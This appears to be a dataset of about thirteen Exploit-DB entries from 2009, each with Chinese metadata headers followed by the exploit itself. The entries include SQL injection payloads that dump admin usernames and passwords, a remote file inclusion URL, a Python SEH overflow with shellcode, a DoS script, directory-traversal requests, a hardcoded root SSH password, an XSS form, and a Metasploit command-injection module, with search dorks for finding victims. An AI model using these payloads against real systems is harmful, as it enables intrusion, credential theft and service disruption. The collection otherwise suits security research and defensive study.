QLWD/code_shield huggingface dataset:
标题: Joomla! Component Jshop - SQL Injection EDB-ID: 9891 CVE: 2009-3835 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-23 漏洞利用脚本: /**************************************************************************

[~] Joomla Component com_jshop SQL Injection Vulnerability
[~] Author : Don Tukulesto (root@indonesiancoder.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : October 23, 2009
[~] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[+] Dork : inurl:"kaMtiEz"+"tukulesto"
[+] Price : FREE (Open Source Content Management)

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_jshop&view=product&family=INDONESIANCODER&group=0&pid=[ExpL0!7]

[ ExpL0!7 ]

-12+union+select+6,6,@@version,concat(0x3a,username,password),6,6,6,6,6,6,6,6,6,6,6,6,6,6,6,6+from+jos_users--

-12/**/UNION/**/SELECT/**/6,username,concat(0x3a,username,password),@@version,6,6,6,6,6,6,6,6,6,6,6,6,6,password,6,6/**/from/**/jos_users/*

===========================================================================

[ Gracias ]

[+] In the Name of ALLAH, Most Gracious, Most Merciful.
[+] INDONESIAN CODER TEAM - KILL-9 CREW - Anti Security - MainHack Brotherhood - ServerIsDown
[+] kaMtiEz, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, Jack-, Yadoy666
[+] Contrex, alsastrow, TUCKER, IAN PETRUCII, Cyb3r_tr0n, M364TR0N, Gonzhack, SAINT, Ronz
[+] XNITRO, DraCoola Multimedia, AWAN Bejat, Plaque, rey_cute, Gh4mb4s, noname, SurabayaHackerLink
[+] #nusantarahacker, #becak, #indonesiancoder, #kill-9, #becak, and YOU!!

[ NOTE ] 

[!] The following procedures (methods) may contain something offensive
[!] Only for security researches and teaching , at your own risk!

[ QUOTE ]

[+] Mom and Father and my sister i love u
[+] Mencari si Anak Hilang ...
[+] Kapan saya nikan sama Sanny Aura Syahrani? Ya ALLAH, tolonglah daku ! URL: https://www.exploit-db.com/exploits/9891
标题: Joomla! Component Ajax Chat 1.0 - Remote File Inclusion EDB-ID: 9888 CVE: 2009-3822 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-19 漏洞利用脚本: #############################################################################################################
## Joomla Component com_ajaxchat Remote File Include vulnerability                                     ##
## Author : kaMtiEz (kamzcrew@gmail.com)           ##
## Homepage : http://www.indonesiancoder.com                       ##
## Date : September 27, 2009                 ##
#############################################################################################################
# Hello My Name Is :                                                                                       ##
#  __               _____   __  ._____________                                                             ##
# |  | _______     /     \_/  |_|__\_   _____/_______                                                      ##
# |  |/ /\__  \   /  \ /  \   __\  ||    __)_\___   /                                                      ##
# |    <  / __ \_/    Y    \  | |  ||        \/    /                                                       ##
# |__|_ \(____  /\____|__  /__| |__/_______  /_____ \                                                      ##
#      \/     \/         \/                \/      \/ -=- INDONESIAN CODER -=- KILL-9 CREW -=-             ##
#############################################################################################################

[ Software Information ]

[+] Vendor : http://www.fijiwebdesign.com/
[+] Download : http://www.fijiwebdesign.com/
[+] version : 1.0 -
[+] Vulnerability : RFI
[+] price : $49.95 
[+] Dork : inurl:"com_ajaxchat"
[+] Location : INDONESIA
#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/components/com_ajaxchat/tests/ajcuser.php?GLOBALS[mosConfig_absolute_path]=[INDONESIANCODER-Ev1L]

[ BUG IN ]

ajcuser.php

error in line 7 

// include our comprofiler class
require_once($GLOBALS['mosConfig_absolute_path'].'/components/com_ajaxchat/plugins/plugin.user.php');

[ FIX ]

Tukulesto said : ask to Aurakasih .. lol
kaMtiEz said : tanya ama AuraKasih .. hha
M3Nw5 said : takon Karo AuraKasih .. hha
Arianom Said : coba kau tanya aura kasih lae

Joke.. ;)
#############################################################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy and YOU!!

[ NOTE ] 

[+] makasih buad babe and enyak .... muach ..
[+] makasih buat om tukulesto yg menemani saia selalu dan enggak bosen ma gue .. hahaha
[+] gila 20 Jam duet ma tukulesto akhirnye ada hasil ^_^ URL: https://www.exploit-db.com/exploits/9888
标题: EMC RepliStor Server 6.3.1.3 - Denial of Service EDB-ID: 9879 CVE: 2009-3744 类型: DOS 平台: WINDOWS 发布日期: 2009-10-20 漏洞利用脚本: <?php
    /*
    EMC RepliStor Server (rep_serv.exe) 6.3.1.3 remote denial of
    service poc
    by Nine:Situations:Group::bellick
     
    */
     
    $host = "192.168.0.1";
    $port = 7144;
     
    $_sock = fsockopen($host, $port, $errno, $errstr, 2);
    if (!$fp) {
        echo "$errstr ($errno)\n";
    } else {
        $_p = "\x54\x93\x00\x00\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41". "\x41\x41\x41\x41";
        fputs($_sock, $_p);
        fclose($_sock);
    }
?>

original url: http://retrogod.altervista.org/9sg_emc_repli_crash.html URL: https://www.exploit-db.com/exploits/9879
标题: boxalino 09.05.25-0421 - Directory Traversal EDB-ID: 9872 CVE: 2009-1479 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2009-10-20 漏洞利用脚本: #############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Boxalino
# Vendor:   Boxalino AG (www.boxalino.com)
# CVD ID:   CVE-2009-1479
# Subject:  Directory Traversal Vulnerabilities
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Axel Neumann <axel.neumann@csnc.ch>
# Date:     2009-10-20
#
#############################################################

Introduction
------------
An Directory Traversal vulnerability exists in the collaboration
platform Boxalino [1]. Remote exploitation of a directory traversal
vulnerability in Boxalino's product allows attackers to read arbitrary
files on the server file system with web server privileges.


Affected
--------
Vulnerable:
 * Boxalino (closed-source product)

Not vulnerable:
 * Unknown

Not tested:
 * N/A


Technical Description
---------------------
When handling HTTP requests, Boxalino does not properly check for
directory traversal specifiers. Therefore, by including a sequence such
as "../../../", an attacker is able to read files outside of the
intended location. The vulnerability exists for both, Windows and UNIX
based systems.

POST /boxalino/client/desktop/default.htm HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5
OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
Host: www.example.ch
Content-Length: 256
Cookie: JSESSIONID=A57AABD5F2051C4333F500EBB1232295
Connection: Close
Pragma: no-cache

url=../../../../../../../../boot.ini&login_loginName=example&login_loginPassword=example&login_cmd_logon=Login&defaultAction=Example&login_cmd_logon_resultPage=%2Fboxalino%2Fclient%2Fdesktop%2Fdefault%2Ehtm


HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Tues, 01 Jan 1980 00:00:00 GMT
Content-Type: text/html
Content-Length: 208
Date: Wed, 29 Apr 2009 09:01:06 GMT
Connection: close


[boot loader] timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003,
Standard" /noexecute=optout /fastdetect


Workaround / Fix
----------------
Update to Boxalino Version 09.05.25-0421


Timeline
--------
2009-10-20: Advisory Release
2009-05-26:     Release of fixed Boxalino Version / Patch
2009-05-25:     Initial vendor response
2009-04-30:     Initial vendor notification
2009-04-29:     Assigned CVE-2009-1479
2009-04-29:     Discovery by Axel Neumann


References
----------
[1] http://www.boxalino.com/ URL: https://www.exploit-db.com/exploits/9872
标题: DeDeCMS 5.1 - SQL Injection EDB-ID: 9876 CVE: 2009-3806 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-14 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: DEDECMS
# Version: 5.1
#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection Vulnerability
# Risk: Medium
#===========================================================
# feedback_js.php
$urlindex = 0;
if(empty($arcID))
{
$row = $dlist->dsql->GetOne("Select id From `#@__cache_feedbackurl` where url='$arcurl' ");
 if(is_array($row)) $urlindex = $row['id'];
}
if(empty($arcID) && empty($urlindex)) exit();
......
if(empty($arcID)) $wq = " urlindex = '$urlindex' "; 
else $wq = " aid='$arcID' ";
 $querystring = "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc";
$dlist->Init();
$dlist->SetSource($querystring);
...
# http://site.com/[PATH]/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''=
#===========================================================
#################################################################
# Securitylab Security Research Team
################################################################### URL: https://www.exploit-db.com/exploits/9876
标题: Amiro.CMS 5.4.0.0 - Path Disclosure EDB-ID: 9867 CVE: 2009-3802 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-19 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

[ONSEC-09-005] Amiro.CMS root folder disclosure 
Objective: Amiro CMS <= 5.4.0.0 
Type: Disclosure of ways 
Threat: Medium 
Date Discovered: 01.07.2009 
Date of notification Developer: 01.07.2009 
Released fixes: 06.10.2009 
Author: Vladimir Vorontsov 
OnSec Russian Security Group (onsec [dot] ru) 
Description: A vulnerability exists due to improper handling-line user name
to log into the administrative console. When you enter your user name%%%
attacker can gain information on the full path when you install
applications, as well as some of the names of internal variables. In
consequence of the fact that the function quits, the administrator does not
know of the compromise of the system through the module, "History of
logins. 

Implementation: 

In the administrative console login prompt, enter the user name: 

%%% 

and will realize the login attempt

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
References: (on Russian)
http://onsec.ru/vuln?id=11
http://onsec.ru/vuln?id=12 URL: https://www.exploit-db.com/exploits/9867
标题: GPG2/Kleopatra 2.0.11 - Malformed Certificate EDB-ID: 9884 CVE: 2009-3805 类型: LOCAL 平台: WINDOWS 发布日期: 2009-10-21 漏洞利用脚本: #!/usr/bin/env python

################################################################
#
# GPG2/Kleopatra 2.0.11 - Malformed Certificate Crash PoC
# Note:  Part of the GPG4Win Package v2.0.1
# Found By: Dr_IDE
# Tested On: 7RC, XPSP3
# Usage: Import the Cert into Kleopatra, GPG2.exe Crashes
#
################################################################

# Seems to only check for the presense of this signature
cert  = ("\x99\x03\x2E\x04\x4A\xDC\xA8\x29\x11\x08\x20");
cert += ("\x41" * 5000);

try:
 print ("[*] Creating evil GPG cert.");
 f1 = open("gpg2_evil_cert.gpg","w");
 f1.write(cert);
 f1.close();
 print ("[*] File created successfully. Import it.");

except:
 print ("[-] Error.");

#[pocoftheday.blogspot.com] URL: https://www.exploit-db.com/exploits/9884
标题: Alleycode HTML Editor 2.2.1 - Local Buffer Overflow EDB-ID: 9866 CVE: 2009-3709 2009-3708 类型: LOCAL 平台: WINDOWS 发布日期: 2009-10-29 漏洞利用脚本: #!/usr/bin/env python

####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: Rafael de Sousa
# Tested On: XPSP0 (SP3 doesn't have any usable P/P/R)
# Download: www.alleycode.com
#
####################################################################

# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

head = ("<html>\n<title>");  # Don't touch the html stuff.
buff = ("@" * 504);   # Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90");     # Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77");  # P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116);   # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");

sploit = (head + buff + nseh + retn + nops + sc + junk + foot);

try:
 print ("\n\n#######################################################");
 print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
 print ("# By: Dr_IDE");
 print ("# pocoftheday.blogspot.com");
 print ("#######################################################\n");
 print ("[*] Writing evil HTML file.");
 f1 = open("Dr_IDEs_Evil_Homepage.html","w");
 f1.write(sploit);
 f1.close();
 print ('[*] Success. Load File and Click "Tools -> Optimizer".');

except:
 print ("[-] Error, could not write the file."); URL: https://www.exploit-db.com/exploits/9866
标题: Cherokee 0.5.4 - Directory Traversal EDB-ID: 9873 CVE: 2009-3902 类型: WEBAPPS 平台: WINDOWS 发布日期: 2009-10-28 漏洞利用脚本: ############################################################
#
# Cherokee Web Server <= 0.5.4 Directory Traversal Exploit
# Found By: Dr_IDE
# Tested On: Windows XPSP3
# Download: www.cherokee-project.com/download/windows
#
############################################################

- Description -

Cherokee Web Server <= 0.5.4 is a Windows based HTTP server. This is the latest
version of the application available.

Cherokee Web Server <= 0.5.4 is vulnerable to remote directory traversal attack by the
following means. 

Default webroot is C:\Program Files\Cherokee\www [3 levels deep] adjust accordingly.

- Technical Details -
http://[webserver IP]/[\../]

http://172.16.2.101/\../\../\../boot.ini
http://172.16.2.101/\../\../\../WINDOWS\SYSTEM32   <- Full Directory Listings through Browser
http://172.16.2.101/\../\../\../WINDOWS\SYSTEM32\calc.exe <- File access in context of web browser instance

#[pocoftheday.blogspot.com] URL: https://www.exploit-db.com/exploits/9873
标题: Riorey RIOS 4.7.0 - Hard-Coded Password EDB-ID: 9858 CVE: 2009-3710 类型: REMOTE 平台: HARDWARE 发布日期: 2009-10-08 漏洞利用脚本: Severity: High (Full root access to the device)
Date: 07 October 2009 
Versions Affected: RIOS 4.6.6 , 4.7.0 possibly others
Discovered on: 25 July 2009
Vendor URL: www.riorey.com
Author: Marek Kroemeke

Overview:

Riorey DDoS mitigation appliences (www.riorey.com) are vulnerable to taking a full control
over affected devices via a hardcoded username and password used to create
a SSH tunnel between the RView application and the device itself. 


Details:

Riorey devices running affected "RIOS" versions have a hardcoded username and password
that is then used by the RView software to connect on port 8022 in order to create
a SSH tunnel. This allows the attacker to login as user 'dbuser' using
the hardcoded password, and due to an old Linux kernel version used - escalate privilages
through several vulnerabilities and eventually take the full control over the device.

Additionally - the web interface advices the user to reset the admin password for security reasons,
but the RView application still uses the hardcoded password in order to create the SSH tunnel which
may result in a false sense of security.

Proof of Concept:

Open your favorite SSH client and use the following detials in order to login:

port: 8022
username: dbadmin
password: sq!us3r

-- cut --
root () rioreyXXXXXXX dbuser # id
uid=0(root) gid=0(root) groups=0(root)
root () rioreyXXXXXXX dbuser # uname -a
Linux rioreyXXXXXXX 2.6.16.6 #23 SMP Fri Oct 24 19:29:08 EDT 2008 x86_64
Dual-Core AMD Opteron(tm) Processor 1210 HE AuthenticAMD GNU/Linux
-- cut -- URL: https://www.exploit-db.com/exploits/9858
标题: AfterLogic WebMail Pro 4.7.10 - Cross-Site Scripting EDB-ID: 9857 CVE: 2009-4743 类型: WEBAPPS 平台: ASP 发布日期: 2009-10-05 漏洞利用脚本: Security Advisory : Cross-Site Scripting flaw in AfterLogic WebMail Pro

Description
-------------
AfterLogic WebMail Pro is vulnerable to Cross-Site Scripting, allowing injection
of malicious code in the context of the application.

Overview
-----------
Quote from http://www.afterlogic.com/products/webmail-pro :
"Webmail front-end for your existing POP3/IMAP mail server. Offer your users
the fast AJAX webmail and innovative calendar with sharing. Stay in control
with the admin panel and the developer's API."

Details
--------
Vulnerable Product : AfterLogic WebMail Pro <= 4.7.10
Vulnerability Type : Cross-Site Scripting (XSS)
Affected page : history-storage.aspx
Vulnerable parameters : HistoryKey, HistoryStorageObjectName
Discovered by :
Sébastien Duquette (http://intheknow-security.blogspot.com)
Gardien Virtuel (www.gardienvirtuel.com)
Original Advisory :
http://www.gardienvirtuel.com/fichiers/documents/publications/GVI_2009-01_EN.txt

Timeline
----------
Bug Discovered : September 18th, 2009
Vendor Advised : September 23rd, 2009
Fix made available : September 30th, 2009

Proof of concept
-------------------
The targeted user must be logged in the webmail. This proof of concept was
successfully tested in Firefox 3.5 and Internet Explorer 8.

<html>
<head>
</head>
<body onLoad="document.form1.submit()">
<form name="form1" method="post"
action="http://WEBSITE/history-storage.aspx?param=0.21188772204998574";
onSubmit="return false;">
<input type="hidden" name="HistoryKey" value="value"/>
<input type="hidden" name="HistoryStorageObjectName" value="location;
alert('xss'); //"/>
</form>
</body>
</html>

Solution
---------
The vendor has made available a patched version. Update to AfterLogic
Webmail Pro 4.7.11 URL: https://www.exploit-db.com/exploits/9857
标题: Nagios3 - 'statuswml.cgi' Command Injection (Metasploit) EDB-ID: 9861 CVE: 2009-2288 类型: WEBAPPS 平台: UNIX 发布日期: 2009-10-30 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
   'Description'    => %q{
    This module abuses a metacharacter injection vulnerability in the
   Nagios3 statuswml.cgi script. This flaw is triggered when shell
   metacharacters are present in the parameters to the ping and
   traceroute commands.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2009-2288' ],
     [ 'OSVDB', '55281'],
    ],
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,    
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'BadChars'    => '<>',
     'Compat'      =>
      {
       'RequiredCmd' => 'generic perl ruby bash telnet',
      }
    },
   'Targets'        => 
    [
     [ 'Automatic Target', { }]
    ],
   'DefaultTarget' => 0))
   
   register_options(
    [
     OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
     OptString.new('USER', [true, "The username to authenticate with", "guest"]),
     OptString.new('PASS', [true, "The password to authenticate with", "guest"]),        
    ], self.class)
 end
 
 def exploit

  print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
  
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => datastore['URI'], 
   'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
   'vars_post' => 
   {
    'ping' => ';' + payload.encoded + '&'
   }
  }, 10)
  
  
  if(not res)
   if session_created?
    print_status("Session created, enjoy!")
   else
    print_error("No response from the server")
   end
   return
  end
  
  if(res.code == 401)
   print_error("Please specify correct values for USER and PASS")
   return
  end
  
  if(res.code == 404)
   print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
   return
  end
  
  if(res.body =~ /Invalid host name/)
   print_error("This server has already been patched")
   return
  end
  
  if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
   print_status("Displaying command response")
   out = $1
   print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
   return
  end

  
  print_status("Unknown response, displaying raw HTML")
  print_line(res.body)
 end

end URL: https://www.exploit-db.com/exploits/9861
标题: TFTgallery .13 - Directory Traversal EDB-ID: 9854 CVE: 2009-3912 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-02 漏洞利用脚本: Released information about the album parameter being vulnerable to XSS
earlier. Seems there are other similar issues:

The album parameter is vulnerable to directory transversal

http://example.com/tftgallery/index.php?album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&page=1<http://192.168.1.130/tftgallery/index.php?album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00&page=1>

The sample parameter is vulnerable to XSS

http://example.com/tftgallery/settings.php?sample='></link><script>alert('blake
XSS test')</script>&name=cucumber%20cool
<http://192.168.1.130/tftgallery/settings.php?sample=> URL: https://www.exploit-db.com/exploits/9854